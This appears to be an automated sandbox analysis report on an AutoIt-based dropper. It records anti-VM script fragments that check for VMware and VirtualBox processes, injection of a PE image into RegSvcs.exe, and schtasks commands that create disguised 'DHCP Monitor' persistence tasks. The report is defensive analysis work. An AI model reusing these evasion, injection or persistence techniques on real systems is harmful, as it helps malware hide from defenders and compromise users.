Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\DHCP Monitor\dhcpmon.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\DHCP Monitor\dhcpmon.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\DHCP Monitor\dhcpmon.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\DHCP Monitor\dhcpmon.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\DHCP Monitor\dhcpmon.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\DHCP Monitor\dhcpmon.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\DHCP Monitor\dhcpmon.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\DHCP Monitor\dhcpmon.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\DHCP Monitor\dhcpmon.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\DHCP Monitor\dhcpmon.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\DHCP Monitor\dhcpmon.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\DHCP Monitor\dhcpmon.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\DHCP Monitor\dhcpmon.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\DHCP Monitor\dhcpmon.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion:

Yara detected AntiVM autoit script

Show sources

Source: Yara match	File source: Process Memory Space: nfiuc.pif PID: 984, type: MEMORY
Source: Yara match	File source: Process Memory Space: nfiuc.pif PID: 1380, type: MEMORY

Source: C:\Users\user\AppData\Roaming\22032878\nfiuc.pif

File opened / queried: SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Program Files (x86)\DHCP Monitor\dhcpmon.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Program Files (x86)\DHCP Monitor\dhcpmon.exe	Thread delayed: delay time: 922337203685477

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exe	Window / User API: threadDelayed 5177	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exe	Window / User API: threadDelayed 4339	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exe	Window / User API: foregroundWindowGot 773	Jump to behavior

Source: C:\Users\user\AppData\Roaming\22032878\nfiuc.pif TID: 3684	Thread sleep count: 69 > 30	Jump to behavior
Source: C:\Users\user\AppData\Roaming\22032878\nfiuc.pif TID: 3684	Thread sleep count: 124 > 30	Jump to behavior
Source: C:\Program Files (x86)\DHCP Monitor\dhcpmon.exe TID: 5620	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\22032878\nfiuc.pif TID: 5048	Thread sleep count: 71 > 30	Jump to behavior
Source: C:\Users\user\AppData\Roaming\22032878\nfiuc.pif TID: 5048	Thread sleep count: 107 > 30	Jump to behavior
Source: C:\Program Files (x86)\DHCP Monitor\dhcpmon.exe TID: 5880	Thread sleep time: -922337203685477s >= -30000s

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Users\user\Desktop\zunUbtZ2Y3.exe	Code function: 0_2_0135A2DF FindFirstFileW,FindFirstFileW,FindFirstFileW,GetLastError,FindNextFileW,GetLastError,	0_2_0135A2DF
Source: C:\Users\user\Desktop\zunUbtZ2Y3.exe	Code function: 0_2_0136AFB9 SendDlgItemMessageW,EndDialog,GetDlgItem,SetFocus,SetDlgItemTextW,SetDlgItemTextW,SendDlgItemMessageW,FindFirstFileW,FileTimeToLocalFileTime,FileTimeToSystemTime,GetTimeFormatW,GetDateFormatW,_swprintf,SetDlgItemTextW,FindClose,_swprintf,SetDlgItemTextW,SendDlgItemMessageW,FileTimeToLocalFileTime,FileTimeToSystemTime,GetTimeFormatW,GetDateFormatW,_swprintf,SetDlgItemTextW,_swprintf,SetDlgItemTextW,	0_2_0136AFB9
Source: C:\Users\user\Desktop\zunUbtZ2Y3.exe	Code function: 0_2_01379FD3 FindFirstFileExA,	0_2_01379FD3
Source: C:\Users\user\AppData\Roaming\22032878\nfiuc.pif	Code function: 1_2_00F1399B GetFileAttributesW,FindFirstFileW,FindClose,	1_2_00F1399B
Source: C:\Users\user\AppData\Roaming\22032878\nfiuc.pif	Code function: 11_2_00F1399B GetFileAttributesW,FindFirstFileW,FindClose,	11_2_00F1399B

Source: C:\Users\user\Desktop\zunUbtZ2Y3.exe

Code function: 0_2_0136D353 VirtualQuery,GetSystemInfo,

0_2_0136D353

Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Program Files (x86)\DHCP Monitor\dhcpmon.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Program Files (x86)\DHCP Monitor\dhcpmon.exe	Thread delayed: delay time: 922337203685477

Source: nfiuc.pif, 00000001.00000003.684885718.0000000003373000.00000004.00000001.sdmp	Binary or memory string: VMwaretray.exey
Source: nfiuc.pif, 00000001.00000003.684148399.0000000003356000.00000004.00000001.sdmp	Binary or memory string: If DriveSpaceFree("d:\") < 1 And ProcessExists("VMwareService.exe") ThenNf3
Source: nfiuc.pif, 00000001.00000003.671342087.0000000003341000.00000004.00000001.sdmp	Binary or memory string: If ProcessExists("VboxService.exe") Then
Source: nfiuc.pif, 00000001.00000003.684148399.0000000003356000.00000004.00000001.sdmp	Binary or memory string: rocessExists("VboxService.exe") Then
Source: RegSvcs.exe, 00000002.00000002.927344213.0000000006980000.00000002.00000001.sdmp, RegSvcs.exe, 00000007.00000002.695550229.00000000059F0000.00000002.00000001.sdmp, dhcpmon.exe, 00000009.00000002.700600962.0000000004920000.00000002.00000001.sdmp	Binary or memory string: A Virtual Machine could not be started because Hyper-V is not installed.
Source: nfiuc.pif, 0000000B.00000003.717402511.000000000392B000.00000004.00000001.sdmp	Binary or memory string: VMwareService.exe65687
Source: nfiuc.pif, 00000001.00000003.684987254.000000000337B000.00000004.00000001.sdmp	Binary or memory string: VMwareUser.exe5FB536C7
Source: nfiuc.pif, 00000001.00000003.684885718.0000000003373000.00000004.00000001.sdmp	Binary or memory string: VboxService.exez
Source: xaso.fhr.0.dr	Binary or memory string: If ProcessExists("VMwaretray.exe") Then
Source: xaso.fhr.0.dr	Binary or memory string: If DriveSpaceFree("d:\") < 1 And ProcessExists("VMwareUser.exe") Then
Source: nfiuc.pif, 0000000B.00000003.715395367.0000000003905000.00000004.00000001.sdmp	Binary or memory string: If ProcessExists("VMwaretray.exe") Then
Source: nfiuc.pif, 0000000B.00000003.716580756.0000000003920000.00000004.00000001.sdmp	Binary or memory string: VboxService.exel
Source: RegSvcs.exe, 00000002.00000002.927344213.0000000006980000.00000002.00000001.sdmp, RegSvcs.exe, 00000007.00000002.695550229.00000000059F0000.00000002.00000001.sdmp, dhcpmon.exe, 00000009.00000002.700600962.0000000004920000.00000002.00000001.sdmp	Binary or memory string: The communication protocol version between the Hyper-V Host and Guest Compute Services is not supported.
Source: nfiuc.pif, 0000000B.00000003.715395367.0000000003905000.00000004.00000001.sdmp	Binary or memory string: If DriveSpaceFree("d:\") < 1 And ProcessExists("VMwareUser.exe") Then1Y
Source: xaso.fhr.0.dr	Binary or memory string: If DriveSpaceFree("d:\") < 1 And ProcessExists("VMwareService.exe") Then
Source: nfiuc.pif, 00000001.00000003.684987254.000000000337B000.00000004.00000001.sdmp	Binary or memory string: VMwareService.exe444D6
Source: RegSvcs.exe, 00000002.00000002.922838345.0000000000E9A000.00000004.00000020.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: nfiuc.pif, 00000001.00000003.684732890.0000000003357000.00000004.00000001.sdmp	Binary or memory string: And ProcessExists("VMwareService.exe") ThenNf3
Source: nfiuc.pif, 0000000B.00000003.716580756.0000000003920000.00000004.00000001.sdmp	Binary or memory string: VMwaretray.exe
Source: nfiuc.pif, 0000000B.00000003.715395367.0000000003905000.00000004.00000001.sdmp	Binary or memory string: rocessExists("VboxService.exe") ThenYqO
Source: nfiuc.pif, 0000000B.00000003.715395367.0000000003905000.00000004.00000001.sdmp	Binary or memory string: If ProcessExists("VBoxTray.exe") Then5g
Source: nfiuc.pif, 0000000B.00000003.715395367.0000000003905000.00000004.00000001.sdmp	Binary or memory string: If DriveSpaceFree("d:\") < 1 And ProcessExists("VMwareService.exe") Then
Source: nfiuc.pif, 00000001.00000003.671342087.0000000003341000.00000004.00000001.sdmp	Binary or memory string: If DriveSpaceFree("d:\") < 1 And ProcessExists("VMwareUser.exe") ThenL4R
Source: xaso.fhr.0.dr	Binary or memory string: If ProcessExists("VboxService.exe") Then
Source: nfiuc.pif, 00000001.00000003.684987254.000000000337B000.00000004.00000001.sdmp	Binary or memory string: VBoxTray.exek
Source: nfiuc.pif, 00000001.00000003.671342087.0000000003341000.00000004.00000001.sdmp	Binary or memory string: If DriveSpaceFree("d:\") < 1 And ProcessExists("VMwareService.exe") ThenNf3@
Source: nfiuc.pif, 0000000B.00000003.717402511.000000000392B000.00000004.00000001.sdmp	Binary or memory string: VMwareUser.exeE97637D6
Source: RegSvcs.exe, 00000002.00000002.927344213.0000000006980000.00000002.00000001.sdmp, RegSvcs.exe, 00000007.00000002.695550229.00000000059F0000.00000002.00000001.sdmp, dhcpmon.exe, 00000009.00000002.700600962.0000000004920000.00000002.00000001.sdmp	Binary or memory string: A communication protocol error has occurred between the Hyper-V Host and Guest Compute Service.
Source: nfiuc.pif, 00000001.00000003.684148399.0000000003356000.00000004.00000001.sdmp	Binary or memory string: If DriveSpaceFree("d:\") < 1 And ProcessExists("VMwareUser.exe") ThenL4
Source: nfiuc.pif, 00000001.00000003.684148399.0000000003356000.00000004.00000001.sdmp	Binary or memory string: If ProcessExists("VBoxTray.exe") Then
Source: xaso.fhr.0.dr	Binary or memory string: If ProcessExists("VBoxTray.exe") Then
Source: RegSvcs.exe, 00000002.00000002.927344213.0000000006980000.00000002.00000001.sdmp, RegSvcs.exe, 00000007.00000002.695550229.00000000059F0000.00000002.00000001.sdmp, dhcpmon.exe, 00000009.00000002.700600962.0000000004920000.00000002.00000001.sdmp	Binary or memory string: An unknown internal message was received by the Hyper-V Compute Service.
Source: nfiuc.pif, 0000000B.00000003.717402511.000000000392B000.00000004.00000001.sdmp	Binary or memory string: VBoxTray.exe^

Source: C:\Users\user\AppData\Roaming\22032878\nfiuc.pif

Code function: 1_2_00EFD935 __malloc_crt,__lseeki64_nolock,ReadFile,ReadFile,GetLastError,__lseeki64_nolock,__lseeki64_nolock,MultiByteToWideChar,GetLastError,__dosmaperr,_free,LdrInitializeThunk,ReadFile,GetLastError,__lseeki64_nolock,GetLastError,

1_2_00EFD935

Source: C:\Users\user\Desktop\zunUbtZ2Y3.exe

Code function: 0_2_0136E4F5 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

0_2_0136E4F5

Source: C:\Users\user\AppData\Roaming\22032878\nfiuc.pif

Code function: 1_2_00EEEE30 LoadLibraryA,GetProcAddress,

1_2_00EEEE30

Source: C:\Users\user\Desktop\zunUbtZ2Y3.exe

Code function: 0_2_01376AF3 mov eax, dword ptr fs:[00000030h]

0_2_01376AF3

Source: C:\Users\user\Desktop\zunUbtZ2Y3.exe

Code function: 0_2_0137ACA1 GetProcessHeap,

0_2_0137ACA1

Source: C:\Users\user\Desktop\zunUbtZ2Y3.exe	Code function: 0_2_0136E643 SetUnhandledExceptionFilter,	0_2_0136E643
Source: C:\Users\user\Desktop\zunUbtZ2Y3.exe	Code function: 0_2_0136E4F5 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_0136E4F5
Source: C:\Users\user\Desktop\zunUbtZ2Y3.exe	Code function: 0_2_0136E7FB SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	0_2_0136E7FB
Source: C:\Users\user\Desktop\zunUbtZ2Y3.exe	Code function: 0_2_01377BE1 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_01377BE1
Source: C:\Users\user\AppData\Roaming\22032878\nfiuc.pif	Code function: 1_2_00EFA128 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	1_2_00EFA128
Source: C:\Users\user\AppData\Roaming\22032878\nfiuc.pif	Code function: 1_2_00EF7CCD _memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	1_2_00EF7CCD
Source: C:\Users\user\AppData\Roaming\22032878\nfiuc.pif	Code function: 11_2_00EFA128 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	11_2_00EFA128
Source: C:\Users\user\AppData\Roaming\22032878\nfiuc.pif	Code function: 11_2_00EF7CCD _memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	11_2_00EF7CCD

Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exe

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion:

Allocates memory in foreign processes

Show sources

Source: C:\Users\user\AppData\Roaming\22032878\nfiuc.pif	Memory allocated: C:\Users\user\AppData\Local\Temp\RegSvcs.exe base: 500000 protect: page execute and read and write			Jump to behavior
Source: C:\Users\user\AppData\Roaming\22032878\nfiuc.pif	Memory allocated: C:\Users\user\AppData\Local\Temp\RegSvcs.exe base: D00000 protect: page execute and read and write			Jump to behavior

Injects a PE file into a foreign processes

Show sources

Source: C:\Users\user\AppData\Roaming\22032878\nfiuc.pif	Memory written: C:\Users\user\AppData\Local\Temp\RegSvcs.exe base: 500000 value starts with: 4D5A			Jump to behavior
Source: C:\Users\user\AppData\Roaming\22032878\nfiuc.pif	Memory written: C:\Users\user\AppData\Local\Temp\RegSvcs.exe base: D00000 value starts with: 4D5A			Jump to behavior

Writes to foreign memory regions

Show sources

Source: C:\Users\user\AppData\Roaming\22032878\nfiuc.pif	Memory written: C:\Users\user\AppData\Local\Temp\RegSvcs.exe base: 500000	Jump to behavior
Source: C:\Users\user\AppData\Roaming\22032878\nfiuc.pif	Memory written: C:\Users\user\AppData\Local\Temp\RegSvcs.exe base: 21C000	Jump to behavior
Source: C:\Users\user\AppData\Roaming\22032878\nfiuc.pif	Memory written: C:\Users\user\AppData\Local\Temp\RegSvcs.exe base: D00000	Jump to behavior
Source: C:\Users\user\AppData\Roaming\22032878\nfiuc.pif	Memory written: C:\Users\user\AppData\Local\Temp\RegSvcs.exe base: B0C000	Jump to behavior

Source: C:\Users\user\AppData\Roaming\22032878\nfiuc.pif

Code function: 1_2_00EED7A0 GetCurrentDirectoryW,IsDebuggerPresent,GetFullPathNameW,SetCurrentDirectoryW,MessageBoxA,SetCurrentDirectoryW,GetModuleFileNameW,GetForegroundWindow,ShellExecuteW,GetForegroundWindow,ShellExecuteW,

1_2_00EED7A0

Source: C:\Users\user\Desktop\zunUbtZ2Y3.exe	Process created: C:\Users\user\AppData\Roaming\22032878\nfiuc.pif 'C:\Users\user\AppData\Roaming\22032878\nfiuc.pif' xaso.fhr	Jump to behavior
Source: C:\Users\user\AppData\Roaming\22032878\nfiuc.pif	Process created: C:\Users\user\AppData\Local\Temp\RegSvcs.exe C:\Users\user\AppData\Local\Temp\RegSvcs.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exe	Process created: C:\Windows\SysWOW64\schtasks.exe 'schtasks.exe' /create /f /tn 'DHCP Monitor' /xml 'C:\Users\user\AppData\Local\Temp\tmp3E2B.tmp'	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exe	Process created: C:\Windows\SysWOW64\schtasks.exe 'schtasks.exe' /create /f /tn 'DHCP Monitor Task' /xml 'C:\Users\user\AppData\Local\Temp\tmp4272.tmp'	Jump to behavior
Source: C:\Users\user\AppData\Roaming\22032878\nfiuc.pif	Process created: C:\Users\user\AppData\Local\Temp\RegSvcs.exe C:\Users\user\AppData\Local\Temp\RegSvcs.exe	Jump to behavior

Source: RegSvcs.exe, 00000002.00000002.923408750.00000000029C7000.00000004.00000001.sdmp	Binary or memory string: Program Manager(
Source: nfiuc.pif, 00000001.00000003.684885718.0000000003373000.00000004.00000001.sdmp, RegSvcs.exe, 00000002.00000002.923227276.00000000028C1000.00000004.00000001.sdmp	Binary or memory string: Program Manager
Source: nfiuc.pif.0.dr	Binary or memory string: IDASCRWINUPRWINDOWNLWINUPLWINDOWNSHIFTUPSHIFTDOWNALTUPALTDOWNCTRLUPCTRLDOWNMOUSE_XBUTTON2MOUSE_XBUTTON1MOUSE_MBUTTONMOUSE_RBUTTONMOUSE_LBUTTONLAUNCH_APP2LAUNCH_APP1LAUNCH_MEDIALAUNCH_MAILMEDIA_PLAY_PAUSEMEDIA_STOPMEDIA_PREVMEDIA_NEXTVOLUME_UPVOLUME_DOWNVOLUME_MUTEBROWSER_HOMEBROWSER_FAVORTIESBROWSER_SEARCHBROWSER_STOPBROWSER_REFRESHBROWSER_FORWARDBROWSER_BACKNUMPADENTERSLEEPRSHIFTLSHIFTRALTLALTRCTRLLCTRLAPPSKEYNUMPADDIVNUMPADDOTNUMPADSUBNUMPADADDNUMPADMULTNUMPAD9NUMPAD8NUMPAD7NUMPAD6NUMPAD5NUMPAD4NUMPAD3NUMPAD2NUMPAD1NUMPAD0CAPSLOCKPAUSEBREAKNUMLOCKSCROLLLOCKRWINLWINPRINTSCREENUPTABSPACERIGHTPGUPPGDNLEFTINSERTINSHOMEF12F11F10F9F8F7F6F5F4F3F2F1ESCAPEESCENTERENDDOWNDELETEDELBSBACKSPACEALTONOFF0%d%dShell_TrayWndExitScript PausedblankinfoquestionstopwarningAutoIt -
Source: RegSvcs.exe, 00000002.00000002.922956588.0000000001290000.00000002.00000001.sdmp	Binary or memory string: Shell_TrayWnd
Source: RegSvcs.exe, 00000002.00000002.922956588.0000000001290000.00000002.00000001.sdmp	Binary or memory string: Progman
Source: nfiuc.pif, 00000001.00000003.684148399.0000000003356000.00000004.00000001.sdmp, nfiuc.pif, 0000000B.00000003.715395367.0000000003905000.00000004.00000001.sdmp	Binary or memory string: If WinGetText("Program Manager") = "0" Then
Source: RegSvcs.exe, 00000002.00000002.926928366.000000000600C000.00000004.00000001.sdmp	Binary or memory string: Program Managerp
Source: RegSvcs.exe, 00000002.00000002.923408750.00000000029C7000.00000004.00000001.sdmp	Binary or memory string: Program ManagerD2
Source: nfiuc.pif, 00000001.00000003.671342087.0000000003341000.00000004.00000001.sdmp	Binary or memory string: If WinGetText("Program Manager") = "0" ThenM
Source: xaso.fhr.0.dr	Binary or memory string: If WinGetText("Program Manager") = "0" Then
Source: RegSvcs.exe, 00000002.00000002.922956588.0000000001290000.00000002.00000001.sdmp	Binary or memory string: Progmanlock
Source: RegSvcs.exe, 00000002.00000002.923408750.00000000029C7000.00000004.00000001.sdmp	Binary or memory string: Program ManagerHaak(
Source: RegSvcs.exe, 00000002.00000002.923408750.00000000029C7000.00000004.00000001.sdmp	Binary or memory string: Program ManagerT
Source: nfiuc.pif, 0000000B.00000003.716580756.0000000003920000.00000004.00000001.sdmp	Binary or memory string: Program Managerq
Source: nfiuc.pif, 00000001.00000000.667167834.0000000000F62000.00000002.00020000.sdmp, nfiuc.pif, 0000000B.00000000.697312024.0000000000F62000.00000002.00020000.sdmp	Binary or memory string: ASCRWINUPRWINDOWNLWINUPLWINDOWNSHIFTUPSHIFTDOWNALTUPALTDOWNCTRLUPCTRLDOWNMOUSE_XBUTTON2MOUSE_XBUTTON1MOUSE_MBUTTONMOUSE_RBUTTONMOUSE_LBUTTONLAUNCH_APP2LAUNCH_APP1LAUNCH_MEDIALAUNCH_MAILMEDIA_PLAY_PAUSEMEDIA_STOPMEDIA_PREVMEDIA_NEXTVOLUME_UPVOLUME_DOWNVOLUME_MUTEBROWSER_HOMEBROWSER_FAVORTIESBROWSER_SEARCHBROWSER_STOPBROWSER_REFRESHBROWSER_FORWARDBROWSER_BACKNUMPADENTERSLEEPRSHIFTLSHIFTRALTLALTRCTRLLCTRLAPPSKEYNUMPADDIVNUMPADDOTNUMPADSUBNUMPADADDNUMPADMULTNUMPAD9NUMPAD8NUMPAD7NUMPAD6NUMPAD5NUMPAD4NUMPAD3NUMPAD2NUMPAD1NUMPAD0CAPSLOCKPAUSEBREAKNUMLOCKSCROLLLOCKRWINLWINPRINTSCREENUPTABSPACERIGHTPGUPPGDNLEFTINSERTINSHOMEF12F11F10F9F8F7F6F5F4F3F2F1ESCAPEESCENTERENDDOWNDELETEDELBSBACKSPACEALTONOFF0%d%dShell_TrayWndExitScript PausedblankinfoquestionstopwarningAutoIt -
Source: RegSvcs.exe, 00000002.00000002.927133975.000000000620C000.00000004.00000001.sdmp	Binary or memory string: lProgram Manager

Source: C:\Users\user\Desktop\zunUbtZ2Y3.exe

Code function: 0_2_0136E34B cpuid

0_2_0136E34B

Source: C:\Users\user\Desktop\zunUbtZ2Y3.exe

Code function: GetLocaleInfoW,GetNumberFormatW,

0_2_01369D99

Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\RegSvcs.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\RegSvcs.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.EnterpriseServices\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.EnterpriseServices.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.EnterpriseServices\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.EnterpriseServices.Wrapper.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.EnterpriseServices\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.EnterpriseServices.Wrapper.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.EnterpriseServices\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.EnterpriseServices.Wrapper.dll VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\DHCP Monitor\dhcpmon.exe	Queries volume information: C:\Program Files (x86)\DHCP Monitor\dhcpmon.exe VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\DHCP Monitor\dhcpmon.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.EnterpriseServices\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.EnterpriseServices.dll VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\DHCP Monitor\dhcpmon.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.EnterpriseServices\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.EnterpriseServices.Wrapper.dll VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\DHCP Monitor\dhcpmon.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.EnterpriseServices\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.EnterpriseServices.Wrapper.dll VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\DHCP Monitor\dhcpmon.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.EnterpriseServices\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.EnterpriseServices.Wrapper.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\RegSvcs.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\DHCP Monitor\dhcpmon.exe	Queries volume information: C:\Program Files (x86)\DHCP Monitor\dhcpmon.exe VolumeInformation
Source: C:\Program Files (x86)\DHCP Monitor\dhcpmon.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.EnterpriseServices\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.EnterpriseServices.dll VolumeInformation
Source: C:\Program Files (x86)\DHCP Monitor\dhcpmon.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.EnterpriseServices\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.EnterpriseServices.Wrapper.dll VolumeInformation
